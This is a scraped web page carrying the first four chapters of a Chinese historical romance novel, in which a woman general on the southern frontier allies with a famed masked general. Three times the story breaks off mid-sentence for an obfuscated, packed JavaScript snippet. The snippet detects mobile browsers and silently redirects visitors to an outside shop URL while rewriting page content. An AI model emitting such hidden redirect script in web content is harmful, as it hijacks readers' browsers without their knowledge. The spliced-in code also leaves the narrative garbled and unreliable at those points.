《与鬼面阎罗结盟后》 1. 第 1 章 大漠黄沙滚滚，东风萧瑟，南境这块，虽不至六月飞雪，但夜晚也属实是难熬。 翼州，孤烟军营，亥时。 营帐内，灯烛摇曳，花眠船支着额，双目微阖。 “将军。”副将从玉响起，霎时，划破了寂静。“我们的粮草……最多再撑一日。若是明日朝堂的补给还未送达，恐怕……” 恐怕，凶多吉少。 南境这边虽不至荒无人烟，但离着镇子也百里有余，一去一回，少则也要小半天，更何况，不只是粮仓里的粮食，生活上的物资，甚至是军饷，都所剩无几。 朝堂的补给本应三日前就到，如今已耽搁多日。分明是有人在暗中拦截，想置孤烟军于死地。 就像当年对她师父那样——一场战役让他下落不明，朝中小人趁机进谗，几度想将崔家逼入绝境，好吞并孤烟军。 花眠船缓缓睁眼。 “我知道了。从玉，你吩咐下去：再派一支小队，即刻起，入京催办，同时留几人继续等候补给。其余人，即刻歇息，明日辰时整装，按原计划，随本将军出征。” “是。”从玉行军礼，告退。 孤烟军，是她师父崔清柳当年所建，军名取自王维“大漠孤烟直，长河落日圆”的诗句，这支军队自创建以来，便奉命驻守边疆，同时抵御南边边境各国的侵扰。 军中纪律严明，将士作战骁勇；可自师父失踪后，朝中便不乏别有用心之人，或污蔑崔清柳投敌，或借机生事，皆欲将这支军队拆解吞并。 她眉头蹙起。 朝中风气，自多年前就已溃败。 有志向、有才华的贤臣被湮没，奸佞小人横行当道、把持朝纲。 她的父亲则是愚忠的牺牲品。 十三年前，父亲被诬有不臣之心，不惜于狱中自焚以证清白，母亲听说后，几度昏死，没多久也随他去了，纵是如此，朝堂上那帮奸臣也没想过放过她家。 朝堂上判决下来那日，大雨倾盆，她的家，散了。 花家数十口人，充军，流放，发卖，全家人分崩离析。 那年她才十岁，瘦小的一个人，费力地拿起棒槌，在大雨中奋力挥舞，为家族击鼓鸣冤。 沉重的鼓声，随着倾盆大雨，一声接一声，诉说着她的冤屈。 可结果是，无济于事。 他们，仍旧没能逃过命运。 后来，她遇到了师父，他念在故友之情，拼死保下她，教她习武，教她读书，给她讲大漠的事儿。 这样好的一个人，却在三年前的一场战役中离奇失踪，至今生死不明，杳无音信。 朝中谣言四起，各方势力虎视眈眈。 崔家老夫人被一纸诏书，诏进宫软禁。 崔家亲戚趁乱，欲夺家产，整个家族陷入内乱。 十四岁的花眠船自请入宫，立下军令状。 几乎是没人信服这个姑娘，能打仗，更别提，能打胜仗，没人信她。 她没兵，没军权。 朝堂上有人念着师父与父亲的旧情，替她说过几回话。 也是一时找不出合适的将领，皇帝勉强同意她的诉求。 她上战场后，捷报频传，一个月后，南诏国被灭，南诏皇室被俘，花眠船也一战成名。 应她所求，崔清柳被追封爵位，花眠船为报恩，自请挑起崔家大梁，接过由崔清柳创建的孤烟军。 朝堂之上看似一片太平，实则暗地里，无疑不是，各怀鬼胎。 —— 天将破晓，晨光熹微。 吃过早饭，大家准备战争前最后一次练兵，整个军营被一阵严肃的气氛笼罩，纵是将军不说，大家也都知道此战的意义重大，只能赢，不能败。 申时。 战士们身披铠甲，手执长剑，胯骑战马，战鼓擂响，伴着嘶吼声，千军万马，一齐冲出，卷起一阵黄沙。 寒光乍见，星驰铁骑，刀枪声鸣，双方军队已混作一团。 花眠船手执长枪，游刃于其中，重重包围下，她长枪打旋，如一株银花绽放，手握长枪疾速挑起，直入对方命脉，两人齐齐栽落下马，一柄长刀迎面辟来，敌军副将憎恶可怖的面庞近在咫尺，狰狞毕露，花眠船提枪相迎，金属碰撞的声音骤响，双方各自受力后退，长剑再次朝面劈来，与此同时，花眠船警觉地觉察出正后方的突袭，突然，一面戴鬼面面具的人，替她挡住后方偷袭，她提枪向前方的人捅去，被对方躲开，骑马逃跑。 不远处，旌旗蔽空。 鬼面人看向一侧，花眠船会意，二人夹击，左右突袭，敌军副将被包围，没有退路，花眠船长枪一扫，敌军副将抵挡不及坠马。 敌将在黄沙中翻滚几圈，来不及起身，只见鬼面人长刀一挥，那人一声哀嚎，便没了气息。 冲锋的号角吹响，前来支援的部队，一手提矛，一手拿盾，迅速冲出，两支部队汇集冲锋，与敌人做最后的决战。 残阳如血，浓烈的血腥味在空中翻涌，实在是令人作呕，到处都是断臂残肢。 此战，大捷！ 此战得胜，边境将得以休养生息，至少十年。 。她的眸子扫过前方一身着敌方盔甲的男尸，她翻身下马，这人看着也不过十余岁，她阿弟若是活着，也差不多同他一般大。 战争是残酷的，同时也是无奈的。 一场战争，摆在面前的就两条路，要么死，要么活。 将士们冲锋陷阵，为国捐躯，对有些人来说是光荣的，对有的人来说却是被迫的。 被迫背井离乡，被迫参军入伍，徒留家中父母牵肠，霜闺泪尽。 孤烟军的将士们受伤的疗伤，没受伤的片刻歇息过后，便帮着没入战场的援军清点物资，收拾战场。 她这才想起那个鬼面人，往四周探去，寻找那人的踪迹。 只见那人仍在马上，怔怔地望着地上横尸。 方才战场上只顾得打仗，无暇细细观察，她方感觉，那顶鬼面面具甚是可怖，面具通体是黑色，额角处还有几条红色和白色的纹络自耳边一直延伸到面中，青面獠牙，面露狰狞，怕是祭祀用的也比不过这顶。 她知道这人，朝堂之上，也无人不晓。 永定侯萧策之子，在南部诸国有“鬼面阎罗”之称的大将军萧文怀。 他驻守北境，花眠船镇守南境，天各一方，二人素未谋面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887797|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 据说，他自投军起，便是军中战无不胜的存在，曾一人一马一长刀，单枪匹马直闯敌营，于敌营大乱之际，潜入敌军首领营帐，直取敌首首级。 然而真正令他名震大雍的，远不止于此。 传闻他每临次上战场作战，必覆一张狰狞的鬼面，以防敌军窥见其真容。久而久之，流言四起：有传言说说面具之下的那张脸，面容凶恶，且其人长相肥头大耳，虎背熊腰，乃是阴间的白无常化身，故亦有“萧钟馗”之名。提及其名讳，夜里可止小儿夜啼，白日能平鸡犬争喧。 不过，据花眠船此刻亲眼所见，纵是面色可怖，那“肥头大耳、虎背熊腰”的传言，定然是不致的。 眼前之人身形健硕，却非大腹便便，身姿颀长，挺拔如松，骨子里透着一股世家子弟独有的矜贵气质。 此外，大漠的枯木、卷地的漫天黄沙、与他身上庄重的战甲所折现的寒光，又为他周身镀上了一层浓重的肃杀之气。 花眠船正欲上前行军礼，却见萧文怀徐徐掀起半面鬼面。 谁曾想，那可怖的面具下露出的，竟是一张惊为天人的面庞。朗目疏眉，鼻梁高挺，肤色白皙，皮肤通透，全然不像久经沙场之人，且纵是久居闺阁娇养长大的小姐，在其面前，也能愧色三分。周遭的气质霎时冷冽，整个人如一块细细雕琢的玉，身上的甲胄，竟给这人平添一疏硬朗。 花眠船脑中蓦得想起起幼时师父教她的一句诗： “云间贵公子，玉骨秀横秋。” 流言，真是害人啊。 下一刻，却见萧文怀不知从何处掏出一枚随身的铜镜，神色自若地对着镜面端详起来。 先是正脸，再是左右侧，依次察看。 叹道：“风沙催人红颜老。” 与附近清理战场的小兵而比……实属是异类。 花眠船看呆了，这……算是什么情况？ 所以说，鬼面阎罗是个重视形象的玉面郎君？ 萧文怀狭长的眸子斜睨，注意到她。 或许是花眠船的目光太过直白，萧文怀收起铜镜，翻身下马，率先朝她行了个军礼。 花眠船回礼，恭恭敬敬道： “今日一战，多谢萧将军及军中将士搭救。” “花将军客气，你我本是同朝为官，为国家共退外敌，本就是分内之则。” “素闻萧将军所率领的军队，骁勇善战，今日一见，果真名不虚传。” 花眠船回答的爽快，看似双目含笑，实则暗藏玄机。 “花将军过誉，初来乍到，军中补给未曾交代分明，花将军若有要事，可来营帐中寻我。” 萧将军颔首，秉持着公事公办的道理，又带着几分刻意的疏离，说罢，他翻身上马，骑马疾驰远去。 一山不容二虎，如今朝廷派来这位鬼面阎罗，她心里不免担忧，此人的到来，究竟是当真为了送补给，还是假借补给之名，欲致她于死地。 对方是敌是友尚且不知，她只能多加留意，小心。 她叫住不远处的从玉，吩咐道。 “派几个人，在萧文怀营帐附近驻守，一旦有任何风吹草动，立即向我汇报。” 2. 第 2 章 “诶，你们今儿个走得早，都没赶上看见萧将军真容。” 孤烟军中几个小兵端着粥聚到一块儿，其中一个喝了口粥，头微微扬起，语气里是止不住的得意。 “萧将军？咱们这儿不就一个花将军吗？哪儿来的萧将军？”又有一个疑惑道。 起先说话的那个小兵瞅了他一眼，颇有些恨铁不成钢地回道：“你当今日补给的粮草是大风刮来的？萧将军是今儿赶来给营里送物资的。” “我听说啊，萧将军到了营里，听闻咱们前线在打仗，马不停蹄地带着一支军队去支援了。” “话说，那鬼面面具下的就是‘鬼面阎罗’萧文怀将军？” “那还能有假？”挑起话头的小兵示意几人凑近，压低声音道，“我在京城时，听说萧将军戴面具，据说是因为面容猥琐，不敢见人才戴的。” “谁曾想，我看见萧将军取下面具了。” 几人大惊。 “说什么面容猥琐，全是空穴来风！萧将军的长相，在当世绝对是举世无双。” “就连咱们花将军，眼睛都要看直了。” “都不要命了？一个两个的，敢在这儿编排将军！” 丛玉路过听见，不由分说便喝断了他们。 众人正说得起劲，猝不及防被丛玉吼了一嗓子，登时忙撂下手里的碗，一个个缩起脖子像一群鹌鹑似的，齐声向丛玉行礼。 丛玉颔首，眸子冷冷地扫过众人，绕开他们，径直入了花眠船的营帐。 “将军，线人来报，萧将军自回来起就一直盯着并摆弄一堆陶罐。” “还有那陶罐里装的，似乎是……”丛玉停下，深吸一口气，继续道，“似乎是京中金雀阁推出、在京中小姐之间最新兴起的芙蓉霜和玫瑰露……” 花眠船：“……” “关于萧将军此行的目的，据薛大人的人来信所说，半月前北境最后一块失地收回，圣上大喜，特许萧将军回京。至于为何由萧将军来送物资，据说是以王大人为首的几位大人上表，认为恰巧可由萧将军带队驰援，届时下一支驻扎的部队赶到，两支军队可一同回京，也好对将军与萧将军一齐进行封赏。” “进而……凸显我朝的强盛。” 从北疆到南境要横穿整个国家，少说也要十二三日，这期间北境的军队还要接收传信、交接物资。 若不是作战时间提前，他们这群人怕是免不了要挨几顿饿；届时若是驰援的物资没到，战场上将士们难免要背水一战。 呵……这帮人，当真是想置他们于死地啊。 “丛玉，把派去萧将军营帐附近监察的人都撤了吧。” 他萧文怀既然入了她的地盘，就休想全身而退。 “另外，替本将传话，我今晚亲自去拜访萧将军。” “是。” 丛玉从不多问，她知道有些事儿姑娘既然做了，就定有她的道理。尽管花眠船大多数时候面上总是笑嘻嘻的，可真正的心思从不会叫外人看出来，即便丛玉从小跟她一起长大，有时也读不懂花眠船。 丛玉本是花家的家生子，花家没落后，她被卖到京城一户人家。那家的公子妄图强迫她，丛玉便一刀阉了那人，逃了出来，后来被花眠船找到，带回了崔家。 她再见姑娘时，既觉得熟悉，又觉得陌生。 崔将军失踪时，崔家一时间成了朝堂众人口诛笔伐的对象，崔家人在市井也是过街老鼠一般。那段日子，花眠船比当年在花家时还要冷静，她想尽办法在皇帝面前立下军令状，自此出征。 “将军，正如我们所料，花将军确实曾安插人手在营帐附近监视，只不过在传话之前突然撤了。” 萧文怀部下的高武安上前汇报。他在北疆时早就听过关于南境这位花将军的传言：她在朝堂上的声誉并不好，那群人既嫌弃她是女子，又担心没了她便无人驻守南境。 任谁见到花眠船恐怕都会惊讶，这么一个芙蓉面的姑娘，竟是手持长缨枪在战场上厮杀的将军。 朝中局势波诡云谲，他被紧急从北境召回，奉命率军队到南境押送物资。朝堂上那群老匹夫借送物资之名把他派到花眠船驻守的南疆，无非是想借机将他们一网打尽，或是坐看他们自相残杀。 他早料到花眠船会对自己有所防备，因而借机将怀里揣的那枚铜镜，借着照镜的动作，不动声色地观察了周遭。 对于暗处的人来说监视戏已开场，自然要做足全套。 傍晚，萧文怀的营帐中烛火摇曳。花眠船前来之前已派人打过招呼，此时见面便没多拘礼数。案桌上罗列着各式陶瓷罐，萧文怀打开其中一个，自顾自地涂抹起来。 花眠船盯着他，四目相对，他俊脸含羞：：“花将军也想试试？此物……滋阴养颜。” “不必！”花眠船当机立断。 “难怪萧将军看起来肤若凝脂、吹弹可破，又貌若潘安、美如宋玉，想来是这里藏着大学问啊。” “花将军不必吹捧，虚言真话，我分得清。” 虽然还没摸清对方的底细，但花眠船想，自己在这方面说的的确是真话啊。 “本将字字珠玑，绝无虚言。”花眠船眼角带笑，语气听不出是恭维还是调侃，“在我看来，萧将军面如冠玉、气度不凡，风度翩翩、仪表堂堂，纵是城北徐公见了，怕也要自愧不如。” “花将军的嘴，果真如传言中一般，巧言令色，油嘴滑舌。” 萧文怀面无表情地将陶罐合上盖子，放回原位置，语气里听不出任何情绪。 花眠船敛起笑意，她并非天生如此。 她小时候甚至是家中最寡言的孩子，不像兄弟姊妹那般会对父母撒娇卖乖，那时的她在家里就像个异类。姊妹们学琴棋书画，她偏背道而驰，痴迷舞枪弄剑。 家里人说她从小就有主见，有自己的想法，将来遇事定然不会乱了阵脚。可他们却也曾认为，这般与众不同，将来命格会崎岖。 后来，家被抄了，父亲下狱，母亲命悬一线。她拖着病体挨家挨户叩门，求父亲昔日的同僚为他说句公道话，可人人都怕趟这浑水，她的每一次恳求都被拒之门外。 等待判决的日子里，家中粮食耗尽，她跟着哥哥姐姐和家里没被遣散的婢女小厮出门乞讨。那时她嘴笨，不会说好听的话，却成天还是一副孤傲的样子。市集上的人见她如此，总把最粗劣的食物丢给她，有时甚至故意刁难。 那段日子，她受尽冷眼，突然觉得自己这闷性子没办法活下去。对于那时的她来说，只要能活下去，只要能替家族翻案，一切都值得。 她开始学着迎合别人，放低姿态，就像现在这样。 即使后来遇到了师傅，不再颠沛流离、寄人篱下，那段日子也像枚烙印一样印在心里，改变了她之后的处事态度。 “花将军，有些话，但说无妨。” 萧文怀将目光从陶罐上移开，神色淡淡，正视着她。 “我想与萧将军做桩生意。”花眠船嘴角噙笑，“一件无论对你还是对我都有利的生意。” “我猜，萧将军是不会拒绝的。” “花将军凭什么笃定我会同意？”萧文怀敛眉，收回视线，拿起案上的茶壶，给自己和花眠船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887798|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各斟了一杯茶。 花眠船捻起茶杯一饮而尽：“我一见萧将军，便觉你气度不凡，为人定然也磊落。” 花眠船双手摁住桌面，俯身靠近。 “花将军就不怕我在茶里下毒？”萧文怀迎上那双藏满笑意的眸子。 “萧将军若想杀我，今儿战场上便不会替我挡下那一刀。届时萧将军大可向朝廷汇报我战死沙场，既不必脏了自己的手，还能铲除我，死后还能保留个英名。” “我想于萧将军来说，世上怕不会再有比这更好的机会了。” 话锋一转，她收起方才顽笑的态度，转而一本正经道：“如今的陛下年事已高，一心炼丹嗑药求长生，早已非当年逐鹿群雄的英主。” “若是圣上震怒，不仅是我和萧将军，到时候怕是我们的家人以及一切与我们有关的人，都难逃一死。” “所以，我想和萧将军结盟：若有一日萧将军身处水火，我必全力搭救；同样，如果我落得同样的境地，也请萧将军如此。” “萧将军不必立刻给予我答复，明日午时我还会来寻你，到时再说也不晚。” “再有。”她直起身，重新捏起茶杯朝着对方摇了摇，“美人花下死，做鬼也风流～”她挑眉，同时刻意拉长尾音，整个人带着一种漫不经心。 “到时再见，萧将军。” 萧文怀心思缜密，为人做事谨慎，不然也不会在弱冠之年让朝堂之上那群老匹夫闭嘴，坐稳武将之首。 讲真，她很期待接下来与他的合作。 第二日清晨。 “萧将军，好久不见，真是愈发俊朗了。”花眠船抱臂站在他营帐外，打趣道。 “花将军当真贵人多忘事，昨夜刚与本将见过。”萧文怀眸色淡淡，掀开帘子往回走，花眠船紧跟着进去，边走边贫。 “诶，你瞧瞧我这记性。不过想来是昨晚看萧将军入了迷，本将昨夜一整晚辗转反侧，满脑子都是萧将军的英姿，这才觉得一日不见，如隔三秋。”她笑笑，调子里带着孩童的顽劣，“萧将军觉得呢？” 她凑近，朝对方耳语道：“关于本将昨晚的提议，萧将军意下如何？” “可以。”萧文怀依旧沉着脸，语气也不咸不淡。 不做些表情，真是可惜了这张脸，花眠船想。 “条件是？”花眠船问道。 “没有条件。”萧文怀回。 花眠船拍手：“好！没有条件对本将来说就是最好的条件，我就说我看人一向很准。” “萧将军与我，果然投缘。” 她作势要替萧文怀斟酒，被对方拦住：“我从不饮酒。” 花眠船只得悻悻作罢。 “不过，我要提醒萧将军一句，你既然答应了我，那我们从此便是一条绳上的蚂蚱。” “我这个人能为朋友赴汤蹈火，也能睚眦必报。今后若萧将军背信弃义，便休怪我无情。” “报——” 营帐外，丛玉的声音响起。 “进。”花眠船回道。 “将军，朝廷来诏，让您和萧将军七日后回京接受封赏。圣上也特许您回京小住。” 花眠船挑眉，与萧文怀对视一眼。 “属下告退。” 丛玉掀开帘子退场。 “接受封赏？” 分明是想夺她军权，再取她性命。 那群贼鼠混淆是非的能力见长啊。 “萧将军觉得如何？” “花将军好像总是在引我上钩？” 花眠船耸肩，这么快就被看出了？没意思。 3. 第 3 章 “诶，我听说，萧将军无论干什么都会戴着那顶面具是吗？” “瞎说，我们将军只在战场上戴。至于为什么？我猜，肯定是我们将军怕那边的人觊觎他的美色。” “就是，我们军营里的人，谁私底下没见过将军的真容？” “这么说吧，整个上京城，我们将军的容貌绝对是独一份的。” “要不是将军常年不在京，不理会那些谣言，也不会落个‘鬼面阎罗’的名号。” “还有，我们将军平日里待人谦和，军营里谁不感念？” “就是，就是。” “倒是你们花将军……” 那人不敢声张，凑近孤烟军的士兵耳语了几句。 小战士双目瞪圆，拍案而起：“胡说！要不是我们花将军，他们那群人能过得这么舒坦？” 一群人你一言我一语地争辩起来。 帐外，将士们团团围坐在篝火旁，火光映照着他们洋溢着欢乐的面庞，笑声冲淡了昨日战争留下的肃杀。 大家打开白日里用朝廷发放的军饷，在附近乡镇买来的一坛坛浊酒。片刻间，酒香四溢，酒水微微溅出，他们却毫不在意——对此刻的他们而言，即便挥洒的酒液，也是功勋的注脚。 “这碗，敬咱们为守护边塞牺牲的弟兄！” 不知是谁一声高喊，数十只破陶碗齐齐举过头顶，醇香的酒液在动作中撒出。刚才的欢笑霎时敛去，每个人脸上都浮现出近乎庄严的神情，仿佛在做一场肃穆的祷告。 “干！” 老胡大吼一声，数十只破陶碗又齐齐落下，众人一饮而尽。他用胳膊往嘴上一抹，饮得酣畅，笑道：“话说，这酒还是京城里的好喝。” “就是，就是！京城里香珍楼的老黄酒，光闻一闻我都能酥麻了，更别提饮上一口……”张德顺一脸回味。 “我说你们，能不能别总想着吃吃喝喝，想点别的？”沈墨衡看着他们，一副恨铁不成钢的样子，“比如姑娘。” “话说回来，这回打了胜仗，回京要是能得些封赏，我给湘和攒的聘礼就够了。”沈墨衡接着道。 “到时候可别忘了请大伙喝喜酒！”一个小兵打趣道。 “懂懂懂！” “咱们这次也多亏了北境调派的席州卫弟兄驰援。” “就是，大伙随我一同去敬他们一杯！” 说到底，他们也不过是群年轻人，也有家庭，有家人。 他们也在畅想未来。 不知是谁弹起了胡琴，又有人吹起笛子相和，奏的是前些年城里流行的《塞上曲》。琴声与笛音交织，每个音符都像出鞘的利剑，裹挟着金戈铁马的锐气，乍一听，仿佛下一刻便有数万大军兵临城下。只是这乐声里，不似出征时的肃杀、战场上的浴血，反倒平添了几分暖意与宽慰。 几个年轻些的士兵脱了上衣，露出肩头狰狞的伤疤，相互调侃着；还有人正掰着手指，细数斩敌的数目。酒到兴头，众人相拥着唱起家乡的民歌。这一刻的一切，对他们而言都是难得的美好。 帐内，萧文怀静坐一隅，不理会外面的喧嚣。一曲终了，他缓缓睁眼，停下手中华琴。眼底的柔情，褪去了往日握剑厮杀的冷冽与疏离，尽数融在帐外将士的嬉闹声里，浸在飘入的酒香中，落在酒坛碰撞的脆响间，化作大漠的黄沙，亦化作天边那轮孤月。 “萧将军好雅兴。” 花眠船掀帘而入，一手拎着几坛酒，一手握着笛子。 “萧将军能否赏脸，陪我喝几杯？” 萧文怀默不作声，花眠船知道这是默许了，便顺势坐下，将酒坛搁在桌案上。她拿起桌上的茶壶，替萧文怀倒了杯茶递过去：“给。” 她眸光流转，一双美眸明晃晃地望着他，他亦迎上她的目光。夜色静谧。 花眠船比她见过的所有女子都要漂亮。据说当年的花夫人才貌无双，冠绝京华，可花家子弟中，除了花眠船，再无人继承那份美貌与才情。花眠船的才情尚不可知，单论姿容，怕是要比当年的花夫人更胜三分。 她又给自己开了一坛酒，自顾自饮了起来：“萧将军，独乐乐不如众乐乐，何不出去和大家一同尽兴？一个人在帐里憋着多没意思。” “我不喜热闹。” “哦？我还以为萧将军生来就该被人瞻仰，看来营外的将士们是没福气像我这样，伴着萧将军的‘美色’下酒了。” 萧文怀未接话，只静静看着她喝酒。 “萧文怀。”她突然开口。 萧文怀抬眼望去，花眠船此刻眼神迷离，酒精上头，让她整张脸都染上一层红晕，杏脸桃腮，那双美眸像倒映在波光粼粼湖面上的孤月，带着几分寂寥。 “从此往后，我们就是盟友了，彼此之间……定要互帮互助。” 她性子直率，口无遮拦。 她这些年的热闹，他也是略知一二。 终究没忍住问出了口：“你这般行事，就不怕回京后遭人报复？”。 “报复？”她嗤笑一声，眸子瞬间恢复清明，眼底满是不屑。 花眠船这个人，从来不怕被谁报复。再艰险的路她都走过，能走到今天这一步，早就半只脚踏进过阴间了。 “我信因果轮回，也信我自己。”她目光灼灼，“常人道‘人在做，天在看’，朝堂上那群贼鼠都没遭报应，我又怕什么？” “我这个人，从不信鬼神。” 她眸中闪过一丝坚定，一字一句道： “谁挡我的路，我便杀谁。” 即使是害怕报复，他也会拼尽全力，为她杀出一条路。 -- 她几次三番地接近萧文怀，本是想让对方掉以轻心，借机探探对方有什么目的，顺便套出对方的底细。 根据线报及观察，她相信，萧文怀是目前最适合做盟友的人。 嘴角勾起一抹笑，她突然心头浮现出一个坏心思。 “从玉，将先前薛小姐送我的玉女桃花粉，给萧将军送去一罐。” “是。” 这玉女桃花粉是她上次回京时薛华音送的。薛华音总恼她不饰粉黛，不爱珠玉，总是变着花样送她这些东西。 这玉女桃花粉是薛华音根据古方做的，强塞给她几罐，据说能防晒黑。她一直没空用，这次回京，免不了薛华音还会送，如今萧文怀来了，恰好可以帮她解决些。 “将军……这？” 瓶瓶罐罐摆满了整张案桌。 从将军路上买那些胭脂水粉时，他就觉得不对，本以为是为了应付花将军的策略，如今看来…… 有一说一，花将军收藏的还挺齐全，将军一路派人买的，都没花将军送的多。 “替我向花将军道谢。” “是。” 高武安应声，作揖退了出去，只留下萧文怀跟一群瓶瓶罐罐面面相觑。 “……” 她或许可以改行开家水粉铺子…… “萧将军，我送的桃花粉如何？” 两人对弈时，花眠船提起，眉眼含笑，满是狡黠。 “这桃花粉，下次花将军不如留着自用，不必送我。” 萧文怀落子，语气平淡，声音清冽。 “好东西，自然要分享。” “再说了，大漠天气多变，萧将军定要防护好，免得伤了您绝色的容貌。” “那便多谢花将军的‘慷慨大方’。” 下一秒，萧文怀眉头微蹙，沉声道： “不许悔棋。” “我刚刚是犹豫了，你看，我不是下在这儿了吗？对吧。” 花眠船试图狡辩开脱，指着棋盘振振有词道。 “对了，桃花粉效果如何？” “不知，花将军指的是哪一个。” 这下轮到花眠船发懵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887799|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，她明明只送了一罐，还能指哪个？ 萧文怀起身离开，不多时抱回来一个木箱。 打开，赫然是满箱各式各样的陶罐。 花眠船大惊，调侃道： “这么多？萧将军对自己的脸，当真是讲究。” 花眠船对着他竖起拇指。 萧文怀面色不惊，开口道： “这些全是花将军送的。” 她送的？她分明只让从玉送了一罐，怎么可能这么多。 但他既然这么说了，不管是不是，她自然要卖他个人情。 “瞧瞧我这记性，真是愈发不好了。既然是我送的，萧将军定要好好用，日日用，直到用完为止。” “会的。” 不知道为什么，花眠船感觉萧文怀说这句话时，好像趁其不备笑了下。 不对，大概是她的错觉。来了三天，别说笑了，萧文怀就连说话时，嘴角弧度都是平的，怎么可能笑。 趁其不备，花眠船即刻落子。 “呀，一不小心赢了。” 花眠船笑得狡黠。 她慢悠悠起身道： “萧将军，时候不早了，本将先回去了。” “花将军慢走。” 萧文怀起身，花眠船挥手告别： “萧将军，不必送了。” 回到营帐，不知道为什么，看萧文怀吃瘪，她就一整个心情大好。 “从玉，把薛小姐做的桃花粉，拿来一罐。” 从玉拿给她，花眠船饶有兴致地打开。 桃花粉色泽娇艳，粉中透着几分梨花白，细细嗅去，香气扑鼻，令人仿佛置身在四月的南山寺桃花树下。 陶罐的形状又恰好是一朵含苞待放的桃花。 看不出来，薛华音不止手艺好了，陶艺上也是登峰造极。 她从小箱子里翻出一个陶碗，按照之前薛华音嘱咐的那样，用水调开，拿出用来抹脸的小勺子，在脸上涂开。 “从玉，来来。” 花眠船招呼立在一旁的从玉。 她拉着从玉，要给她也涂上。 “将军，这不合规矩……” 从玉有些为难。 “什么规矩不规矩的，咱们姐妹俩，要什么规矩。” 从玉跟小时候的她很像，寡言少语，又格外注重规矩。 即使身份不同，从玉对她来说，也是她在这个世上最后的家人。 过了会儿，花眠船又拉着她去洗掉。 “怎么样，从玉，效果如何？” 她兴致勃勃地问。 “姑娘天生丽质，用了薛小姐的桃花粉，更是锦上添花。” “行啊，从玉，你这是学到了我嘴皮子上的真传啊。” 从玉看着她，两人相视一笑。 “薛小姐的手艺真是突飞猛进，等回去了，我再找她要两罐。” 突然，从玉变了脸色：“姑娘，这罐，似乎是萧将军送的回礼……” “那箱桃花粉送去后，萧将军差人送过来的。” 等等！萧文怀送的？不对，那箱是什么意思？难不成，那一堆真是她送的？ 她故作镇定道：“从玉，我们不是只送了一罐吗？” “不是，是一箱。薛小姐每次做了新的，都会伴着书信寄给您。” “您一直堆着，还曾说，哪一天如果说要送一罐出去，便趁机送出去一箱。属下以为是按您上次说的那样，便……” 便趁机全送出去了？ 从玉！她的好从玉啊！ “从玉。”花眠船喊住她。 “你看看我的脸，有没有事儿。” “姑娘放心。” “您的脸好好的。” 从玉不明所以道。 “那就好。” 她长舒一口气，看来萧文怀还没阴到在这上面给她下毒。 4. 第 4 章 “将军，桃花粉按您的吩咐送过去了。” 高武安一袭黑衣，俯身作揖，声音平淡无波。 “嗯。”萧文怀应道。 他不紧不慢地拆开手里的信封，捻住信纸，一张一张扫过。眼睫半遮住眸子，也遮住了眼底的情绪。 “就这些？” 他微微抬头，手里捏着那几张信纸，面无表情地问。 “是，就这些。” 高武安恭恭敬敬地回道。 一种难以言说的情绪涌上心头，萧文怀捏着信纸的手骤然收紧，另一只手也握拳攥紧，沉声道：“下去吧。” “是。” 高武安垂首作揖，退出了营帐。 萧文怀神色晦暗不明，他看向桌上的银烛，捏着信纸的手缓缓靠近。倏地，火苗窜起，信纸在与火苗的共舞中燃烧殆尽，最终化为一滩灰烬。 这群贼鼠，三番五次地寻衅于他。前阵子，他们欲撺掇皇帝逼他尚公主，被他以军务繁忙回绝后，竟将主意打到他还未及笄的亲妹妹怀薇身上，要她嫁给工部侍郎刘德元的长子。 京中谁人不知，刘家大公子成日斗鸡走狗、游手好闲。先前订下的婚事，新娘还没过门，家中便被他折腾死了五房小妾，吓得新娘娘家连夜退婚。此人吃喝嫖赌样样精通，怀薇若是嫁过去，非被那群人折磨死不可。 他眉头紧锁，握紧的拳头狠狠砸向桌案。 桌案被击得哐当作响，一卷轴滚落桌下。 他敛眉冷笑，既如此…… 便休怪他无情了。 —— 夜晚，天色阴恻恻的。 花眠船暗自思忖。 回了京，下一步该怎么做？如何面对崔家人？和萧文怀下次碰面该聊些什么？怎样才能让对方为自己所用？一切都值得深思。 此人心思缜密，要想让他死心塌地为自己所用，简直是痴人说梦。 他们俩之间的关系，究竟算什么呢？抱大腿？好像不是。她自认为自己在朝堂上的分量虽非一人之下，好歹也算是举足轻重，否则，怎会有那么多人想害她。 互相利用？似乎也说不通。目前明明只是她在利用他。要说互相利用……她不信萧文怀对她毫无隐瞒，可对方的目的，她至今没能探出来。 “……”哪一项都不是！ 花眠船气得在榻上连打了两个滚，还险些掉下去。 …… 算了，还是先睡吧。 —— “从玉姑娘。” 高武安抱拳，语气平淡。 “高副将。” 从玉点头回礼。 两人本就没什么交集，除了替各自的主子办事时有些交谈，实在没什么可寒暄客套的话。 